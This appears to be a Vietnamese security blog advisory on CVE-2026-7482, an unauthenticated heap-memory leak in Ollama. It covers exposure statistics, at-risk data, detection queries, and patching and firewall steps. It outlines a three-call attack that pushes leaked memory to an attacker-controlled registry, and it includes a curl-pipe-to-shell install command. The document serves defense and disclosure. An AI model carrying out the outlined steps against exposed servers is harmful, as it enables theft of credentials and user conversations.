Skip to main content

Command Palette

Search for a command to run...

Bleeding Llama — CVE-2026-7482: Khi 300.000 Server AI Trở Thành Mục Tiêu

Published
13 min read
Bleeding Llama — CVE-2026-7482: Khi 300.000 Server AI Trở Thành Mục Tiêu

Mục lục


Tóm tắt rủi ro

CVE-2026-7482 (CVSS 9.1 — Critical) cho phép kẻ tấn công đọc trực tiếp heap memory của tiến trình Ollama mà không cần bất kỳ thông tin xác thực nào. Chỉ với 3 API call, toàn bộ nội dung nhạy cảm đang nằm trong RAM — từ API key của dịch vụ cloud, system prompt của tổ chức, đến lịch sử hội thoại của người dùng — đều có thể bị exfiltrate ra máy chủ của attacker.

Ollama hiện có hơn 170.000 GitHub stars và hơn 100 triệu lượt tải từ Docker Hub, đang được triển khai rộng rãi như một AI inference engine self-hosted trong môi trường enterprise và developer cá nhân. Điểm khiến lỗ hổng này đặc biệt nguy hiểm: Ollama khởi động mặc định không có authentication và lắng nghe trên mọi network interface (0.0.0.0:11434) — nghĩa là bất kỳ ai có thể reach port này đều có thể khai thác ngay.

Nghiên cứu của SentinelLABS và Censys đã xác định hơn 175.000 Ollama host đang publicly exposed trên 130 quốc gia. Cyera Research — đội phát hiện lỗ hổng — ước tính khoảng 300.000 server có thể bị ảnh hưởng ở thời điểm công bố.

Hành động ngay: Nâng cấp Ollama lên phiên bản 0.17.1 trở lên, đồng thời chặn port 11434 khỏi internet public bằng firewall rule hoặc network policy.


Bối cảnh kỹ thuật

Thuộc tính Chi tiết
CVE ID CVE-2026-7482
CVSS Score 9.1 — CRITICAL
CWE CWE-125 (Out-of-Bounds Read)
Sản phẩm bị ảnh hưởng Ollama tất cả phiên bản trước 0.17.1
Attack Vector Network, Unauthenticated, No User Interaction
Phát hiện bởi Cyera Research
Công bố Tháng 5/2026
Patch Ollama v0.17.1

Ollama sử dụng định dạng GGUF (GGML Unified Format) để lưu trữ và tải model weights. Khi người dùng upload một GGUF file và yêu cầu Ollama tạo model từ file đó, engine sẽ đọc tensor data từ memory theo khai báo trong header file — đây chính là điểm root cause của lỗ hổng.


Cơ chế khai thác

Root Cause: Out-of-Bounds Heap Read trong GGUF Pipeline

Lỗ hổng nằm trong model quantization pipeline của Ollama. Khi xử lý GGUF file, Ollama tin tưởng hoàn toàn vào giá trị tensor shape được khai báo trong file header và đọc đúng số byte đó từ memory buffer. Một GGUF file được crafted đặc biệt có thể khai báo tensor size lớn hơn nhiều so với dữ liệu thực tế được cung cấp, khiến Ollama đọc vượt ra ngoài vùng buffer cho phép — tiếp cận heap memory liền kề chứa dữ liệu nhạy cảm của tiến trình.

Heap data này sau đó được nhúng vào model file kết quả. Tiếp theo, attacker lợi dụng tính năng model push có sẵn của Ollama để gửi file đó — cùng toàn bộ heap data đã đánh cắp — đến một server do attacker kiểm soát.

Luồng tấn công: 3 API Call, 0 Credential

Bước 1: Upload GGUF file độc hại
POST /api/blobs/sha256:<hash>
Content: GGUF file với inflated tensor shape
→ Ollama lưu file vào blob store
 
Bước 2: Trigger model creation (kích hoạt out-of-bounds read)
POST /api/create
Body: {"name": "attacker-model", "modelfile": "FROM sha256:<hash>"}
→ Pipeline đọc vượt buffer, heap data được nhúng vào model file
 
Bước 3: Exfiltrate model (cùng heap data) ra ngoài
POST /api/push
Body: {"name": "attacker-registry/attacker-model"}
→ Toàn bộ model file — bao gồm stolen heap data — được push đến server attacker

Toàn bộ quy trình không yêu cầu credential, không cần user interaction, và có thể thực hiện từ xa qua internet với bất kỳ Ollama instance nào đang lắng nghe trên interface public.


Attack Surface

175.000 Host, 7,23 Triệu Observations

Top 10 Countries by share of unique Ollama hosts - SentinelLABS research chart Nguồn: SentinelLABS + Censys — "Silent Brothers" Research (01/2026)

Nghiên cứu chung giữa SentinelLABS và Censys, kéo dài 293 ngày, đã ghi nhận 7,23 triệu observations từ 175.108 unique Ollama host trên 130 quốc gia và 4.032 ASN khác nhau. Đây không phải là số liệu thống kê lý thuyết — đây là bề mặt tấn công có thể reach được ngay lúc này.

Hệ sinh thái này có cấu trúc bimodal: một lớp host transient xuất hiện rồi biến mất, chồng lên một backbone persistent nhỏ hơn nhưng chiếm đến 76% tổng số observations. Chính backbone này mới là mục tiêu có giá trị nhất — các endpoint này hoạt động liên tục, cung cấp utility thực sự cho operator và do đó cũng là target hấp dẫn nhất.

Phân bố infrastructure:

  • 56% host nằm trên fixed-access telecom/residential networks (consumer ISP)
  • 32% trên hyperscaler (AWS, GCP, Azure)
  • 19% ASN classifications trả về null — không xác định được owner Về địa lý, Mỹ dẫn đầu với Virginia chiếm 18% host tại Mỹ (phản ánh mật độ cloud infrastructure US-EAST). Trung Quốc: Beijing chiếm 30% host nội địa.

Capability Surface: Không Chỉ Là Text Generation

Host capability coverage breakdown - tool calling vision thinking models Nguồn: SentinelLABS — Host capability coverage (share of all hosts)

Điều khiến bức tranh này đáng lo hơn nhiều so với một Ollama server đơn thuần:

  • 48% host có tool-calling capabilities — nghĩa là chúng có thể execute code, gọi external API, tương tác với file system
  • 38% cấu hình [completion, tools] — wired sẵn để interface với phần mềm bên ngoài
  • 26% chạy "thinking" models (chain-of-thought, multi-step reasoning)
  • 22% hỗ trợ vision, tạo vector cho indirect prompt injection qua ảnh/document
  • 201 host đang chạy "uncensored" system prompt template — xóa bỏ toàn bộ safety guardrails

Monoculture Risk

Top 20 model families by share of unique Ollama hosts Nguồn: SentinelLABS — Model adoption distribution

Trong khi host placement phân tán, model adoption lại cực kỳ tập trung. Llama (#1), Qwen2 (#2), và Gemma2 (#3) chiếm vị trí top 3 với zero rank volatility trong suốt 293 ngày scan. Format Q4_K_M xuất hiện trên 48% host — một vulnerability trong cách xử lý quantized format cụ thể này có thể ảnh hưởng đồng thời đến gần một nửa toàn bộ hệ sinh thái.


Dữ liệu có thể bị đánh cắp

Những gì attacker thu được từ heap memory không phải dữ liệu ngẫu nhiên — đây là dữ liệu hoạt động của tiến trình Ollama đang chạy:

Từ AI session đang active:

  • User prompts và chat messages của tất cả người dùng đang kết nối
  • System prompts của tất cả model đang chạy (thường chứa business logic nhạy cảm, persona definition, hoặc internal tooling instructions)
  • Conversation history cross-session Từ host environment:
  • Environment variables — bao gồm API key của OpenAI, Anthropic, AWS, database credentials
  • Source code được submit qua AI để review hoặc debug
  • Customer data, contract, tài liệu nội bộ đã paste vào AI session Đối tượng rủi ro cao nhất: Enterprise dùng Ollama như shared internal AI assistant — một lần khai thác thành công có thể lấy được interaction của toàn bộ nhân viên tổ chức.

MITRE ATT&CK Mapping

Tactic Technique Mô tả
Initial Access T1190 — Exploit Public-Facing Application Khai thác Ollama API endpoint không có auth
Credential Access T1552.001 — Credentials In Files / Env Vars Đọc environment variables từ heap memory
Collection T1005 — Data from Local System Thu thập conversation history, system prompts từ process memory
Exfiltration T1041 — Exfiltration Over C2 Channel Push model (chứa stolen heap data) đến attacker-controlled registry
Execution (nếu exploit tool-calling) T1059 — Command and Scripting Interpreter Sử dụng tool-calling capability của exposed Ollama để thực thi lệnh

Phát hiện & Phản ứng

Detection Logic

Không có file hash hay IP attacker cụ thể nào được công bố tại thời điểm viết bài. Tuy nhiên, behavior-based detection hoàn toàn khả thi:

KQL — Microsoft Sentinel (phát hiện push đến external registry):

// Phát hiện Ollama push model ra ngoài network nội bộ
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "ollama"
| where RemotePort in (443, 80, 11434)
| where not(RemoteIP has_any ("10.", "172.16.", "192.168.", "127."))
| where ActionType == "ConnectionSuccess"
| summarize count(), make_set(RemoteIP) by DeviceName, bin(Timestamp, 1h)
| where count_ > 5
| project Timestamp, DeviceName, RemoteIPs = set_RemoteIP, ConnectionCount = count_
// Phát hiện upload GGUF file bất thường (blob upload spike)
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "ollama"
| where RemotePort == 11434
| where ActionType == "InboundConnectionAccepted"
| where RemoteIP !has "127.0.0.1"
| summarize InboundCount = count() by DeviceName, bin(Timestamp, 10m)
| where InboundCount > 10

Sigma Rule concept — GGUF upload + model push sequence:

title: Ollama Suspicious Model Push to External Registry
status: experimental
description: |
  Detects Ollama process making outbound connections to non-internal IPs,
  indicative of CVE-2026-7482 exfiltration via model push.
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    Image|endswith:
      - '\ollama.exe'
      - '/ollama'
    DestinationIsPrivate: false
    DestinationPort:
      - 443
      - 80
      - 11434
  condition: selection
falsepositives:
  - Legitimate model push to Ollama Hub (ollama.com) — whitelist if needed
level: high
tags:
  - attack.exfiltration
  - attack.t1041
  - cve.2026-7482

Kiểm tra exposure nhanh

# Kiểm tra Ollama đang bind interface nào
ss -tlnp | grep 11434
 
# Nếu output chứa 0.0.0.0:11434 → đang exposed toàn bộ interface
# Nếu chứa 127.0.0.1:11434 → chỉ localhost, an toàn
 
# Kiểm tra version hiện tại
ollama --version
 
# Kiểm tra external access (từ máy khác trong mạng)
curl -s http://<ollama-host>:11434/api/tags | jq .
# Nếu trả về model list mà không cần auth → cần xử lý ngay

Nhận định chuyên gia

CVE-2026-7482 gợi nhớ trực tiếp đến Heartbleed (CVE-2014-0160) — cùng class: out-of-bounds read trên heap, cùng kết quả: secret exfiltration từ memory của process đang chạy. Heartbleed khai thác buffer overread trong OpenSSL's heartbeat extension để đọc 64KB memory mỗi request. Bleeding Llama khai thác inflated tensor shape trong GGUF pipeline để đọc toàn bộ heap region cần thiết. Pattern giống nhau, target khác: lần này là AI infrastructure.

Điểm khác biệt đáng lo hơn là mức độ monitoring. Năm 2014, OpenSSL chạy trên hạ tầng đã có security tooling, network monitoring, và quy trình patch management. Ollama năm 2026 thì khác — phần lớn deployments xuất phát từ nhu cầu của developer hoặc AI team, không qua security review, không có EDR coverage trên Ollama process, và không ai nghĩ đến việc đặt firewall rule cho một tool "chỉ dùng nội bộ."

Từ góc nhìn SOC, ba điểm đáng chú ý với môi trường Việt Nam:

Thứ nhất, nhiều team đang triển khai Ollama trong môi trường dev/test nội bộ nhưng không có network segmentation rõ ràng — server AI nằm cùng VLAN với production workload hoặc domain controller. Khi Ollama bị khai thác và environment variable được dump ra, lateral movement sang phần còn lại của hạ tầng là bước tiếp theo tự nhiên.

Thứ hai, tool-calling capability trên 48% exposed host tạo ra một vector khác: attacker không cần memory leak để thực thi lệnh — họ có thể gọi thẳng vào exposed Ollama instance và yêu cầu nó thực thi code thông qua tool-calling interface. Đây là LLM-as-execution-proxy, không cần exploit.

Thứ ba, monoculture là rủi ro có hệ thống. Khi Q4_K_M xuất hiện trên 48% host và Llama chiếm vị trí #1 ổn định, một vulnerability tiếp theo trong format này hoặc trong model family này sẽ có blast radius gần như toàn bộ hệ sinh thái deployed — không phải isolated incidents.

CVSS 9.1 phản ánh đúng mức độ kỹ thuật. Rủi ro kinh doanh thực tế còn cao hơn ở các môi trường dùng Ollama như shared AI assistant cho nhiều nhân viên — toàn bộ lịch sử tương tác, system prompt chứa business logic, và API key của các dịch vụ downstream đều trong tầm với của một attacker thực hiện đúng 3 HTTP request.


Khuyến nghị

Ngay lập tức (0–24h)

# 1. Patch — nâng cấp Ollama lên v0.17.1+
# Linux/macOS
curl -fsSL https://ollama.com/install.sh | sh
 
# Verify version sau khi cập nhật
ollama --version  # phải là 0.17.1 trở lên
 
# 2. Chặn port 11434 tại firewall nếu chưa patch được ngay
# Linux (iptables)
iptables -I INPUT -p tcp --dport 11434 -j DROP
iptables -I INPUT -s 127.0.0.1 -p tcp --dport 11434 -j ACCEPT
 
# Windows Firewall
netsh advfirewall firewall add rule name="Block Ollama External" `
  dir=in action=block protocol=TCP localport=11434

Nếu Ollama cần accessible từ internal network (không phải chỉ localhost), bắt buộc đặt reverse proxy có authentication (nginx + basic auth hoặc OAuth2 proxy) trước khi expose — ngay cả trên mạng nội bộ.

Ngắn hạn (1–7 ngày)

  • Audit toàn bộ Ollama deployment: ss -tlnp | grep 11434 trên mọi host trong inventory — xác định host nào đang bind 0.0.0.0

  • Triển khai network policy chặn outbound từ Ollama process đến external IP (phòng exfiltration qua api/push)

  • Bật logging cho Ollama API access: giám sát POST /api/push, POST /api/blobs, POST /api/create từ IP không thuộc whitelist

  • Rotate tất cả API key, token đã từng có mặt trong environment variable của host chạy Ollama exposed Dài hạn

  • Đưa Ollama vào scope của Asset Management và Vulnerability Management — hiện tại phần lớn team đang coi nó là "developer tool" ngoài vòng kiểm soát IT security

  • Xem xét triển khai AI Gateway layer (LiteLLM, Open WebUI với auth enabled) thay vì expose Ollama API trực tiếp

  • Thiết lập network segmentation rõ ràng: AI inference servers không nên cùng VLAN với production workload


Tài liệu tham khảo

# Nguồn Link
1 Cyera Research — Bleeding Llama Advisory https://www.cyera.com/research/bleeding-llama-critical-unauthenticated-memory-leak-in-ollama
2 Cyera Blog — Bleeding Llama Deep Dive https://www.cyera.com/blog/bleeding-llama-a-critical-memory-leak-in-the-worlds-most-popular-local-ai-platform
3 The Hacker News — CVE-2026-7482 Coverage https://thehackernews.com/2026/05/ollama-out-of-bounds-read-vulnerability.html
4 SentinelLABS — Silent Brothers Research https://www.sentinelone.com/labs/silent-brothers-ollama-hosts-form-anonymous-ai-network-beyond-platform-guardrails/
5 The Hacker News — 175K Exposed Ollama Servers https://thehackernews.com/2026/01/researchers-find-175000-publicly.html
6 CVE Record — CVE-2026-7482 https://www.cve.org/CVERecord?id=CVE-2026-7482
7 Ollama Release Notes v0.17.1 https://github.com/ollama/ollama/releases

More from this blog

F

FPT IS Security

786 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.